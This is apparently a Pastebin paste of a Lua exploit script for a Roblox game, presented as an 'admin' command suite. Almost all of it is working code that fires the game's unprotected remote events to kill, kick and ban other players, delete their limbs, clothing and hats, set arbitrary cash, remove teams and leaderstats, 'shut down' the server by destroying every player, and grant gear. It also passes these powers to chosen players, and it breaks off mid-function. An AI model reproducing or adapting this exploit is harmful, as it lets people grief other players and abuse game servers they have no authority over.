Advertisement
oatmeal2009

Untitled

Jul 28th, 2020
42
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 71.10 KB | None | 0 0
  1. Prefix = ":"
  2.  
  3. if #Prefix > 4 or #Prefix < 0 then
  4. Prefix = ":"
  5. end
  6.  
  7. administrators = {}
  8. moderators = {}
  9. banned = {}
  10. loopkilled = {}
  11. toolbanned = {}
  12.  
  13. example = "Uctron"
  14. playersService = game:GetService("Players")
  15. replicatedStorage = game:GetService("ReplicatedStorage")
  16. starterGui = game:GetService("StarterGui")
  17. coreGui = game:GetService("CoreGui")
  18. runService = game:GetService("RunService")
  19. localPlayer = playersService.LocalPlayer
  20. createCommand = localPlayer.Chatted
  21. Notification1 = Instance.new("Sound", coreGui)
  22. Notification2 = Instance.new("Sound", coreGui)
  23. Notification3 = Instance.new("Sound", coreGui)
  24. CommandThemeSong = Instance.new("Sound", coreGui)
  25. Notification1.Name = "2PSHTUAN1"
  26. Notification2.Name = "2PSHTUAN2"
  27. Notification3.Name = "2PSHTUAN3"
  28. CommandThemeSong.Name = "2PSHTUANCTS"
  29. Notification1.SoundId = "rbxassetid://523194796"
  30. Notification2.SoundId = "rbxassetid://232127604"
  31. Notification3.SoundId = "rbxassetid://1000294392"
  32. Notification3.Volume = Notification3.Volume / 2
  33. CommandThemeSong.SoundId = "rbxassetid://1836975833"
  34. CommandThemeSong.Volume = CommandThemeSong.Volume / 3
  35. Uctron = {}
  36. Uctron.SoundFX = {
  37.  
  38. _notification1=0;
  39. _notification2=1;
  40. _notification3=2;
  41. _commandthemesong=3;
  42.  
  43. }
  44.  
  45. Uctron.Settings = {
  46.  
  47. _prefix=0;
  48. _example=1;
  49.  
  50. }
  51.  
  52. Uctron.Data = {_localPlayer=0}
  53.  
  54. Uctron.Settings._example = example
  55. Uctron.Data._localPlayer = localPlayer
  56. Uctron.SoundFX._notification1 = Notification1
  57. Uctron.SoundFX._notification2 = Notification2
  58. Uctron.SoundFX._notification3 = Notification3
  59. Uctron.SoundFX._commandthemesong = CommandThemeSong
  60.  
  61. function GetPlayer(String)
  62. local Found = {}
  63. local strl = String:lower()
  64. if strl == "all" then
  65. for i,v in pairs(playersService:GetPlayers()) do
  66. table.insert(Found,v.Name)
  67. end
  68. elseif strl == "others" then
  69. for i,v in pairs(playersService:GetPlayers()) do
  70. if v.Name ~= Uctron.Data._localPlayer.Name then
  71. table.insert(Found,v.Name)
  72. end
  73. end
  74. elseif strl == "me" then
  75. for i,v in pairs(playersService:GetPlayers()) do
  76. if v.Name == Uctron.Data._localPlayer.Name then
  77. table.insert(Found,v.Name)
  78. end
  79. end
  80. else
  81. for i,v in pairs(playersService:GetPlayers()) do
  82. if v.Name:lower():sub(1, #String) == String:lower() then
  83. table.insert(Found,v.Name)
  84. end
  85. end
  86. end
  87. return Found
  88. end
  89.  
  90. createCommand:Connect(function(msg)
  91. if msg:lower():sub(1,5+Prefix:len()) == Prefix.."kill " then
  92. for i,v in pairs(GetPlayer(string.sub(msg,6+Prefix:len()))) do
  93. if playersService[v].Character.Torso:FindFirstChild("Neck") then
  94. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Torso.Neck)
  95. end
  96. runService.RenderStepped:Wait()
  97. end
  98. end
  99. end)
  100.  
  101. createCommand:Connect(function(msg)
  102. if msg:lower():sub(1,5+Prefix:len()) == Prefix.."kick " then
  103. for i,v in pairs(GetPlayer(string.sub(msg,6+Prefix:len()))) do
  104. if playersService:FindFirstChild(v) then
  105. replicatedStorage.events.destroyObject:FireServer(playersService[v])
  106. end
  107. end
  108. end
  109. end)
  110.  
  111. createCommand:Connect(function(msg)
  112. if msg:lower():sub(1,4+Prefix:len()) == Prefix.."btools" then
  113. -- By Shootingisgood9, now let me sleep plz
  114. local cunt = Instance.new("Tool")
  115. local biggercunt = Instance.new("Part")
  116. local plr = game.Players.LocalPlayer
  117. local tar_obj = nil
  118. local rekt = game.ReplicatedStorage.events.destroyObject
  119. biggercunt.Parent = cunt
  120. cunt.Parent = plr.Backpack
  121. cunt.Name = "Delete"
  122. biggercunt.Name = "Handle"
  123. cunt.Equipped:Connect(function(m_S)
  124. print("m")
  125.  
  126. m_S.Button1Down:Connect(function()
  127. print("M")
  128.  
  129. tar_obj = m_S.Target
  130.  
  131. rekt:FireServer(tar_obj)
  132.  
  133. end)
  134. end)
  135.  
  136. createCommand:Connect(function(msg)
  137. if msg:lower():sub(1,4+Prefix:len()) == Prefix.."ban " then
  138. for i,v in pairs(GetPlayer(string.sub(msg,5+Prefix:len()))) do
  139. --if v:lower() ~= "all" or v:lower() ~= "others" then
  140. table.insert(banned,playersService[v].Name)
  141. --[[else
  142. Uctron.SoundFX._notification3:Play()
  143. starterGui:SetCore("SendNotification", {
  144. Title = "2PSHT Admin | Error";
  145. Text = "Even though you are the owner of this script, banning more than one person is not allowed due to abuse. Please ban someone one at a time. Command not executed.";
  146. Icon = "rbxassetid://4595715410";
  147. Duration = 15;
  148. Button1 = "Okay";
  149. })
  150. end]]
  151. end
  152. end
  153. end)
  154.  
  155. createCommand:Connect(function(msg)
  156. if msg:lower():sub(1,6+Prefix:len()) == Prefix.."unban " then
  157. a = string.sub(msg,Prefix:len()+7)
  158. for j,k in pairs(banned) do
  159. if string.match(k,a) then
  160. table.remove(banned,j)
  161. end
  162. end
  163. end
  164. end)
  165.  
  166. createCommand:Connect(function(msg)
  167. if msg:lower():sub(1,8+Prefix:len()) == Prefix.."toolban " then
  168. for i,v in pairs(GetPlayer(string.sub(msg,9+Prefix:len()))) do
  169. table.insert(toolbanned,playersService[v].Name)
  170. end
  171. end
  172. end)
  173.  
  174. createCommand:Connect(function(msg)
  175. if msg:lower():sub(1,10+Prefix:len()) == Prefix.."untoolban " then
  176. for i,v in pairs(GetPlayer(string.sub(msg,11+Prefix:len()))) do
  177. for j,k in pairs(toolbanned) do
  178. if string.match(k,v) then
  179. table.remove(toolbanned,j)
  180. end
  181. end
  182. end
  183. end
  184. end)
  185.  
  186. createCommand:Connect(function(msg)
  187. if msg:lower():sub(1,9+Prefix:len()) == Prefix.."loopkill " then
  188. for i,v in pairs(GetPlayer(string.sub(msg,10+Prefix:len()))) do
  189. table.insert(loopkilled,playersService[v].Name)
  190. end
  191. end
  192. end)
  193.  
  194. createCommand:Connect(function(msg)
  195. if msg:lower():sub(1,11+Prefix:len()) == Prefix.."unloopkill " then
  196. for i,v in pairs(GetPlayer(string.sub(msg,12+Prefix:len()))) do
  197. for j,k in pairs(loopkilled) do
  198. if string.match(k,v) then
  199. table.remove(loopkilled,j)
  200. end
  201. end
  202. end
  203. end
  204. end)
  205.  
  206. createCommand:Connect(function(msg)
  207. if msg:lower():sub(1,5+Prefix:len()) == Prefix.."cash " then
  208. for i,v in pairs(GetPlayer(string.split(msg, " ")[2])) do
  209. b = string.split(msg, " ")[3]
  210. game:GetService("ReplicatedStorage").Events.changeValue:InvokeServer(game:GetService('ReplicatedStorage').plrData[v].cash, b)
  211. end
  212. end
  213. end)
  214.  
  215. createCommand:Connect(function(msg)
  216. if msg:lower():sub(1,10+Prefix:len()) == Prefix.."unpackage " then
  217. for i,v in pairs(GetPlayer(string.sub(msg,11+Prefix:len()))) do
  218. for x,o in pairs(playersService[v].Character:GetChildren()) do
  219. if o:IsA("CharacterMesh") then
  220. replicatedStorage.events.destroyObject:FireServer(o)
  221. end
  222. end
  223. end
  224. end
  225. end)
  226.  
  227. createCommand:Connect(function(msg)
  228. if msg:lower():sub(1,7+Prefix:len()) == Prefix.."rlimbs " then
  229. for i,v in pairs(GetPlayer(string.sub(msg,8+Prefix:len()))) do
  230. if playersService[v].Character:FindFirstChild("Left Arm") then
  231. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Arm"])
  232. end
  233. if playersService[v].Character:FindFirstChild("Right Arm") then
  234. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Arm"])
  235. end
  236. if playersService[v].Character:FindFirstChild("Left Leg") then
  237. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Leg"])
  238. end
  239. if playersService[v].Character:FindFirstChild("Right Leg") then
  240. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Leg"])
  241. end
  242. end
  243. end
  244. end)
  245.  
  246. createCommand:Connect(function(msg)
  247. if msg:lower():sub(1,12+Prefix:len()) == Prefix.."removelimbs " then
  248. for i,v in pairs(GetPlayer(string.sub(msg,13+Prefix:len()))) do
  249. if playersService[v].Character:FindFirstChild("Left Arm") then
  250. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Arm"])
  251. end
  252. if playersService[v].Character:FindFirstChild("Right Arm") then
  253. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Arm"])
  254. end
  255. if playersService[v].Character:FindFirstChild("Left Leg") then
  256. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Leg"])
  257. end
  258. if playersService[v].Character:FindFirstChild("Right Leg") then
  259. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Leg"])
  260. end
  261. end
  262. end
  263. end)
  264.  
  265. createCommand:Connect(function(msg)
  266. if msg:lower():sub(1,6+Prefix:len()) == Prefix.."rarms " then
  267. for i,v in pairs(GetPlayer(string.sub(msg,7+Prefix:len()))) do
  268. if playersService[v].Character:FindFirstChild("Left Arm") then
  269. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Arm"])
  270. end
  271. if playersService[v].Character:FindFirstChild("Left Arm") then
  272. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Arm"])
  273. end
  274. end
  275. end
  276. end)
  277.  
  278. createCommand:Connect(function(msg)
  279. if msg:lower():sub(1,11+Prefix:len()) == Prefix.."removearms " then
  280. for i,v in pairs(GetPlayer(string.sub(msg,12+Prefix:len()))) do
  281. if playersService[v].Character:FindFirstChild("Left Arm") then
  282. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Arm"])
  283. end
  284. if playersService[v].Character:FindFirstChild("Left Arm") then
  285. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Arm"])
  286. end
  287. end
  288. end
  289. end)
  290.  
  291. createCommand:Connect(function(msg)
  292. if msg:lower():sub(1,6+Prefix:len()) == Prefix.."rlegs " then
  293. for i,v in pairs(GetPlayer(string.sub(msg,7+Prefix:len()))) do
  294. if playersService[v].Character:FindFirstChild("Left Leg") then
  295. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Leg"])
  296. end
  297. if playersService[v].Character:FindFirstChild("Right Leg") then
  298. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Leg"])
  299. end
  300. end
  301. end
  302. end)
  303.  
  304. createCommand:Connect(function(msg)
  305. if msg:lower():sub(1,11+Prefix:len()) == Prefix.."removelegs " then
  306. for i,v in pairs(GetPlayer(string.sub(msg,12+Prefix:len()))) do
  307. if playersService[v].Character:FindFirstChild("Left Leg") then
  308. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Leg"])
  309. end
  310. if playersService[v].Character:FindFirstChild("Right Leg") then
  311. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Leg"])
  312. end
  313. end
  314. end
  315. end)
  316.  
  317. createCommand:Connect(function(msg)
  318. if msg:lower():sub(1,7+Prefix:len()) == Prefix.."punish " then
  319. for i,v in pairs(GetPlayer(string.sub(msg,8+Prefix:len()))) do
  320. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character)
  321. end
  322. end
  323. end)
  324.  
  325. createCommand:Connect(function(msg)
  326. if msg:lower():sub(1,6+Prefix:len()) == Prefix.."naked " then
  327. for i,v in pairs(GetPlayer(string.sub(msg,7+Prefix:len()))) do
  328. if playersService[v].Character:FindFirstChild("Shirt") then
  329. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Shirt)
  330. else
  331. end
  332. if playersService[v].Character:FindFirstChild("Pants") then
  333. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Pants)
  334. else
  335. end
  336. if playersService[v].Character:FindFirstChild("Shirt Graphic") then
  337. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Shirt Graphic"])
  338. else
  339. end
  340. end
  341. end
  342. end)
  343.  
  344. createCommand:Connect(function(msg)
  345. if msg:lower():sub(1,7+Prefix:len()) == Prefix.."nayked " then
  346. for i,v in pairs(GetPlayer(string.sub(msg,8+Prefix:len()))) do
  347. if playersService[v].Character:FindFirstChild("Shirt") then
  348. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Shirt)
  349. else
  350. end
  351. if playersService[v].Character:FindFirstChild("Pants") then
  352. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Pants)
  353. else
  354. end
  355. if playersService[v].Character:FindFirstChild("Shirt Graphic") then
  356. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Shirt Graphic"])
  357. else
  358. end
  359. end
  360. end
  361. end)
  362.  
  363. createCommand:Connect(function(msg)
  364. if msg:lower():sub(1,9+Prefix:len()) == Prefix.."faceless " then
  365. for i,v in pairs(GetPlayer(string.sub(msg,10+Prefix:len()))) do
  366. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Head:FindFirstChildOfClass("Decal"))
  367. end
  368. end
  369. end)
  370.  
  371. createCommand:Connect(function(msg)
  372. if msg:lower():sub(1,6+Prefix:len()) == Prefix.."rface " then
  373. for i,v in pairs(GetPlayer(string.sub(msg,7+Prefix:len()))) do
  374. if Uctron.Data._localPlayer.Character.Head:FindFirstChild("face") then
  375. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Head:FindFirstChildOfClass("Decal"))
  376. end
  377. end
  378. end
  379. end)
  380.  
  381. createCommand:Connect(function(msg)
  382. if msg:lower():sub(1,11+Prefix:len()) == Prefix.."removeface " then
  383. for i,v in pairs(GetPlayer(string.sub(msg,12+Prefix:len()))) do
  384. if Uctron.Data._localPlayer.Character.Head:FindFirstChild("face") then
  385. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Head:FindFirstChildOfClass("Decal"))
  386. end
  387. end
  388. end
  389. end)
  390.  
  391. createCommand:Connect(function(msg)
  392. if msg:lower():sub(1,6+Prefix:len()) == Prefix.."rhats " then
  393. for i,v in pairs(GetPlayer(string.sub(msg,7+Prefix:len()))) do
  394. for x,o in pairs(playersService[v].Character:GetChildren()) do
  395. if o:IsA("Accessory") then
  396. replicatedStorage.events.destroyObject:FireServer(o)
  397. end
  398. end
  399. end
  400. end
  401. end)
  402.  
  403. createCommand:Connect(function(msg)
  404. if msg:lower():sub(1,11+Prefix:len()) == Prefix.."removehats " then
  405. for i,v in pairs(GetPlayer(string.sub(msg,12+Prefix:len()))) do
  406. for x,o in pairs(playersService[v].Character:GetChildren()) do
  407. if o:IsA("Accessory") then
  408. replicatedStorage.events.destroyObject:FireServer(o)
  409. end
  410. end
  411. end
  412. end
  413. end)
  414.  
  415. createCommand:Connect(function(msg)
  416. if msg:lower():sub(1,8+Prefix:len()) == Prefix.."creeper " then
  417. for i,v in pairs(GetPlayer(string.sub(msg,9+Prefix:len()))) do
  418. if playersService[v].Character.Head:FindFirstChild("Mesh") then
  419. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Head.Mesh)
  420. end
  421. if playersService[v].Character:FindFirstChild("Left Arm") then
  422. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Arm"])
  423. end
  424. if playersService[v].Character:FindFirstChild("Right Arm") then
  425. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Arm"])
  426. end
  427. end
  428. end
  429. end)
  430.  
  431. createCommand:Connect(function(msg)
  432. if msg:lower():sub(1,8+Prefix:len()) == Prefix.."ragdoll " then
  433. for i,v in pairs(GetPlayer(string.sub(msg,9+Prefix:len()))) do
  434. if playersService[v].Character:FindFirstChild("Humanoid") then
  435. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Humanoid)
  436. end
  437. end
  438. end
  439. end)
  440.  
  441. createCommand:Connect(function(msg)
  442. if msg:lower() == Prefix.."clearteams" then
  443. for i,v in pairs(game.Teams:GetChildren()) do
  444. replicatedStorage.events.destroyObject:FireServer(v)
  445. end
  446. end
  447. end)
  448.  
  449. createCommand:Connect(function(msg)
  450. if msg:lower() == Prefix.."cteams" then
  451. for i,v in pairs(game.Teams:GetChildren()) do
  452. replicatedStorage.events.destroyObject:FireServer(v)
  453. end
  454. end
  455. end)
  456.  
  457.  
  458. createCommand:Connect(function(msg)
  459. if msg:lower() == Prefix.."ccash" then
  460. for i,v in pairs(playersService:GetPlayers()) do
  461. if v:FindFirstChild("leaderstats") then
  462. replicatedStorage.events.destroyObject:FireServer(v.leaderstats)
  463. end
  464. end
  465. end
  466. end)
  467.  
  468. createCommand:Connect(function(msg)
  469. if msg:lower() == Prefix.."clearcash" then
  470. for i,v in pairs(playersService:GetPlayers()) do
  471. if v:FindFirstChild("leaderstats") then
  472. replicatedStorage.events.destroyObject:FireServer(v.leaderstats)
  473. end
  474. end
  475. end
  476. end)
  477.  
  478. createCommand:Connect(function(msg)
  479. if msg:lower() == Prefix.."clear" then
  480. for i,v in pairs(workspace:GetChildren()) do
  481. if v:IsA("Accessory") or v:IsA("Hat") or v:IsA("Tool") then
  482. replicatedStorage.events.destroyObject:FireServer(v)
  483. end
  484. end
  485. for i,v in pairs(workspace.Terrain:GetChildren()) do
  486. if v:IsA("Accessory") or v:IsA("Hat") or v:IsA("Tool") then
  487. replicatedStorage.events.destroyObject:FireServer(v)
  488. end
  489. end
  490. end
  491. end)
  492.  
  493. -----Commands-----
  494.  
  495. createCommand:Connect(function(msg)
  496. if msg:lower():sub(1,5+Prefix:len()) == Prefix.."goto " then
  497. for i,v in pairs(GetPlayer(string.sub(msg,6+Prefix:len()))) do
  498. Uctron.Data._localPlayer.Character.HumanoidRootPart.CFrame = playersService[v].Character.HumanoidRootPart.CFrame
  499. end
  500. end
  501. end)
  502.  
  503. createCommand:Connect(function(msg)
  504. if msg:lower():sub(1,3+Prefix:len()) == Prefix.."to " then
  505. for i,v in pairs(GetPlayer(string.sub(msg,4+Prefix:len()))) do
  506. Uctron.Data._localPlayer.Character.HumanoidRootPart.CFrame = playersService[v].Character.HumanoidRootPart.CFrame
  507. end
  508. end
  509. end)
  510.  
  511. createCommand:Connect(function(msg)
  512. if msg:lower():sub(1,7+Prefix:len()) == Prefix.."handto " then
  513. for i,v in pairs(GetPlayer(string.sub(msg,8+Prefix:len()))) do
  514. Uctron.Data._localPlayer.Character.HumanoidRootPart.CFrame = playersService[v].Character.HumanoidRootPart.CFrame
  515. end
  516. end
  517. end)
  518.  
  519. createCommand:Connect(function(msg)
  520. if msg:lower():sub(1,6+Prefix:len()) == Prefix.."tp me " then
  521. for i,v in pairs(GetPlayer(string.sub(msg,7+Prefix:len()))) do
  522. Uctron.Data._localPlayer.Character.HumanoidRootPart.CFrame = playersService[v].Character.HumanoidRootPart.CFrame
  523. end
  524. end
  525. end)
  526.  
  527. createCommand:Connect(function(msg)
  528. if msg:lower():sub(1,12+Prefix:len()) == Prefix.."teleport me " then
  529. for i,v in pairs(GetPlayer(string.sub(msg,13+Prefix:len()))) do
  530. Uctron.Data._localPlayer.Character.HumanoidRootPart.CFrame = playersService[v].Character.HumanoidRootPart.CFrame
  531. end
  532. end
  533. end)
  534.  
  535. createCommand:Connect(function(msg)
  536. if msg:lower():sub(1,6+Prefix:len()) == Prefix.."shout " then
  537. local Shout = msg:sub(7+Prefix:len(), #msg)
  538. replicatedStorage.Events.changeValue:InvokeServer(Uctron.Data._localPlayer.Shouts, 1e10)
  539. replicatedStorage.Events.Shout:InvokeServer(Shout)
  540. end
  541. end)
  542.  
  543. createCommand:Connect(function(msg)
  544. if msg:lower():sub(1,3+Prefix:len()) == Prefix.."cm " then
  545. local ChatMessage = msg:sub(4+Prefix:len(), #msg)
  546. replicatedStorage.Events.changeValue:InvokeServer(Uctron.Data._localPlayer.Shouts, 1e10)
  547. replicatedStorage.Events.Shout:InvokeServer(string.rep("\n",53)..ChatMessage)
  548. end
  549. end)
  550.  
  551. createCommand:Connect(function(msg)
  552. if msg:lower():sub(1,9+Prefix:len()) == Prefix.."cmessage " then
  553. local ChatMessage = msg:sub(10+Prefix:len(), #msg)
  554. replicatedStorage.Events.changeValue:InvokeServer(Uctron.Data._localPlayer.Shouts, 1e10)
  555. replicatedStorage.Events.Shout:InvokeServer(string.rep("\n",53)..ChatMessage)
  556. end
  557. end)
  558.  
  559. createCommand:Connect(function(msg)
  560. if msg:lower():sub(1,12+Prefix:len()) == Prefix.."chatmessage " then
  561. local ChatMessage = msg:sub(13+Prefix:len(), #msg)
  562. replicatedStorage.Events.changeValue:InvokeServer(Uctron.Data._localPlayer.Shouts, 1e10)
  563. replicatedStorage.Events.Shout:InvokeServer(string.rep("\n",53)..ChatMessage)
  564. end
  565. end)
  566.  
  567. createCommand:Connect(function(msg)
  568. if msg:lower() == Prefix.."shutdown" then
  569. for _,__ in pairs(playersService:GetPlayers()) do
  570. replicatedStorage.events.destroyObject:FireServer(__)
  571. end
  572. end
  573. end)
  574.  
  575. createCommand:Connect(function(msg)
  576. if msg:lower() == Prefix.."givegears" then
  577. for i,v in pairs(replicatedStorage["BoxItems"]:GetChildren()) do
  578. if v:IsA("Tool") then
  579. replicatedStorage.Events.CrateClaim:FireServer("Gear",v)
  580. end
  581. end
  582. for i,v in pairs(game.Lighting:GetDescendants()) do
  583. if v:IsA("Tool") then
  584. replicatedStorage.Events.CrateClaim:FireServer("Gear",v)
  585. end
  586. end
  587. end
  588. end)
  589.  
  590. createCommand:Connect(function(msg)
  591. if msg:lower():sub(1,7+Prefix:len()) == Prefix.."prefix " then
  592. local PrefixChange = msg:sub(8+Prefix:len(), #msg)
  593. if #PrefixChange > 4 then
  594. starterGui:SetCore("SendNotification", {
  595. Title = "2PSHT Admin | Error";
  596. Text = "Prefix has to be be at most 4 characters. Now setting prefix to \":\"";
  597. Icon = "rbxassetid://4595715410";
  598. Duration = 15;
  599. Button1 = "Okay";
  600. })
  601. Uctron.SoundFX._notification3:Play()
  602. Prefix = ":"
  603. elseif #PrefixChange < 0 then
  604. starterGui:SetCore("SendNotification", {
  605. Title = "2PSHT Admin | Error";
  606. Text = "Prefix has to be be at least 0 characters. Now setting prefix to \":\"";
  607. Icon = "rbxassetid://4595715410";
  608. Duration = 15;
  609. Button1 = "Okay";
  610. })
  611. Uctron.SoundFX._notification3:Play()
  612. Prefix = ":"
  613. else
  614. Uctron.SoundFX._notification1:Play()
  615. Prefix = PrefixChange
  616. starterGui:SetCore("SendNotification", {
  617. Title = "2PSHT Admin | Success";
  618. Text = "The 2PSHT Admin prefix has been set to \""..Prefix.."\".";
  619. Icon = "rbxassetid://4595715410";
  620. Duration = 15;
  621. Button1 = "Okay";
  622. })
  623. end
  624. end
  625. end)
  626.  
  627. createCommand:Connect(function(msg)
  628. if msg:lower() == Prefix.."cmds" or msg:lower() == Prefix.."commands" then
  629. Uctron.SoundFX._notification2:Play()
  630. Site = "https://pastebin.com/raw/Wyp85zcp"
  631. site = string.gsub(string.gsub(Site,"/","\\"),":\\\\","://").."?www.roblox.com"
  632. game.GuiService:OpenBrowserWindow(site)
  633. wait(2)
  634. Uctron.SoundFX._commandthemesong:Play()
  635. game.GuiService.BrowserWindowClosed:Wait()
  636. Uctron.SoundFX._commandthemesong:Stop()
  637. end
  638. end)
  639.  
  640. createCommand:Connect(function(msg)
  641. if msg:lower():sub(1,4+Prefix:len()) == Prefix.."mod " then
  642. for i,v in pairs(GetPlayer(string.sub(msg,5+Prefix:len()))) do
  643. if playersService:FindFirstChild(v) then
  644. table.insert(moderators,playersService[v].Name)
  645. Uctron.SoundFX._notification1:Play()
  646. starterGui:SetCore("SendNotification", {
  647. Title = "2PSHT Admin | Success";
  648. Text = "Moderator powers given to \""..v.."\".";
  649. Icon = "rbxassetid://4595715410";
  650. Duration = 15;
  651. Button1 = "Okay";
  652. })
  653. Command1 = playersService[v].Chatted:Connect(function(msg)
  654. if msg:lower():sub(1,5+Prefix:len()) == Prefix.."kill " then
  655. for i,v in pairs(GetPlayer(string.sub(msg,6+Prefix:len()))) do
  656. if playersService[v].Character.Torso:FindFirstChild("Neck") then
  657. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Torso.Neck)
  658. end
  659. runService.RenderStepped:Wait()
  660. end
  661. end
  662. end)
  663.  
  664. Command2 = playersService[v].Chatted:Connect(function(msg)
  665. if msg:lower():sub(1,5+Prefix:len()) == Prefix.."cash " then
  666. for i,v in pairs(GetPlayer(string.split(msg, " ")[2])) do
  667. b = string.split(msg, " ")[3]
  668. game:GetService("ReplicatedStorage").Events.changeValue:InvokeServer(game:GetService('ReplicatedStorage').plrData[v].cash, b)
  669. end
  670. end
  671. end)
  672.  
  673. Command3 = playersService[v].Chatted:Connect(function(msg)
  674. if msg:lower():sub(1,10+Prefix:len()) == Prefix.."unpackage " then
  675. for i,v in pairs(GetPlayer(string.sub(msg,11+Prefix:len()))) do
  676. for x,o in pairs(playersService[v].Character:GetChildren()) do
  677. if o:IsA("CharacterMesh") then
  678. replicatedStorage.events.destroyObject:FireServer(o)
  679. end
  680. end
  681. end
  682. end
  683. end)
  684.  
  685. Command4 = playersService[v].Chatted:Connect(function(msg)
  686. if msg:lower():sub(1,7+Prefix:len()) == Prefix.."rlimbs " then
  687. for i,v in pairs(GetPlayer(string.sub(msg,8+Prefix:len()))) do
  688. if playersService[v].Character:FindFirstChild("Left Arm") then
  689. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Arm"])
  690. end
  691. if playersService[v].Character:FindFirstChild("Right Arm") then
  692. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Arm"])
  693. end
  694. if playersService[v].Character:FindFirstChild("Left Leg") then
  695. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Leg"])
  696. end
  697. if playersService[v].Character:FindFirstChild("Right Leg") then
  698. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Leg"])
  699. end
  700. end
  701. end
  702. end)
  703.  
  704. Command5 = playersService[v].Chatted:Connect(function(msg)
  705. if msg:lower():sub(1,12+Prefix:len()) == Prefix.."removelimbs " then
  706. for i,v in pairs(GetPlayer(string.sub(msg,13+Prefix:len()))) do
  707. if playersService[v].Character:FindFirstChild("Left Arm") then
  708. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Arm"])
  709. end
  710. if playersService[v].Character:FindFirstChild("Right Arm") then
  711. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Arm"])
  712. end
  713. if playersService[v].Character:FindFirstChild("Left Leg") then
  714. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Leg"])
  715. end
  716. if playersService[v].Character:FindFirstChild("Right Leg") then
  717. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Leg"])
  718. end
  719. end
  720. end
  721. end)
  722.  
  723. Command6 = playersService[v].Chatted:Connect(function(msg)
  724. if msg:lower():sub(1,6+Prefix:len()) == Prefix.."rarms " then
  725. for i,v in pairs(GetPlayer(string.sub(msg,7+Prefix:len()))) do
  726. if playersService[v].Character:FindFirstChild("Left Arm") then
  727. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Arm"])
  728. end
  729. if playersService[v].Character:FindFirstChild("Left Arm") then
  730. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Arm"])
  731. end
  732. end
  733. end
  734. end)
  735.  
  736. Command7 = playersService[v].Chatted:Connect(function(msg)
  737. if msg:lower():sub(1,11+Prefix:len()) == Prefix.."removearms " then
  738. for i,v in pairs(GetPlayer(string.sub(msg,12+Prefix:len()))) do
  739. if playersService[v].Character:FindFirstChild("Left Arm") then
  740. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Arm"])
  741. end
  742. if playersService[v].Character:FindFirstChild("Left Arm") then
  743. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Arm"])
  744. end
  745. end
  746. end
  747. end)
  748.  
  749. Command8 = playersService[v].Chatted:Connect(function(msg)
  750. if msg:lower():sub(1,6+Prefix:len()) == Prefix.."rlegs " then
  751. for i,v in pairs(GetPlayer(string.sub(msg,7+Prefix:len()))) do
  752. if playersService[v].Character:FindFirstChild("Left Leg") then
  753. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Leg"])
  754. end
  755. if playersService[v].Character:FindFirstChild("Right Leg") then
  756. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Leg"])
  757. end
  758. end
  759. end
  760. end)
  761.  
  762. Command9 = playersService[v].Chatted:Connect(function(msg)
  763. if msg:lower():sub(1,11+Prefix:len()) == Prefix.."removelegs " then
  764. for i,v in pairs(GetPlayer(string.sub(msg,12+Prefix:len()))) do
  765. if playersService[v].Character:FindFirstChild("Left Leg") then
  766. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Leg"])
  767. end
  768. if playersService[v].Character:FindFirstChild("Right Leg") then
  769. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Leg"])
  770. end
  771. end
  772. end
  773. end)
  774.  
  775. Command10 = playersService[v].Chatted:Connect(function(msg)
  776. if msg:lower():sub(1,6+Prefix:len()) == Prefix.."naked " then
  777. for i,v in pairs(GetPlayer(string.sub(msg,7+Prefix:len()))) do
  778. if playersService[v].Character:FindFirstChild("Shirt") then
  779. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Shirt)
  780. else
  781. end
  782. if playersService[v].Character:FindFirstChild("Pants") then
  783. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Pants)
  784. else
  785. end
  786. if playersService[v].Character:FindFirstChild("Shirt Graphic") then
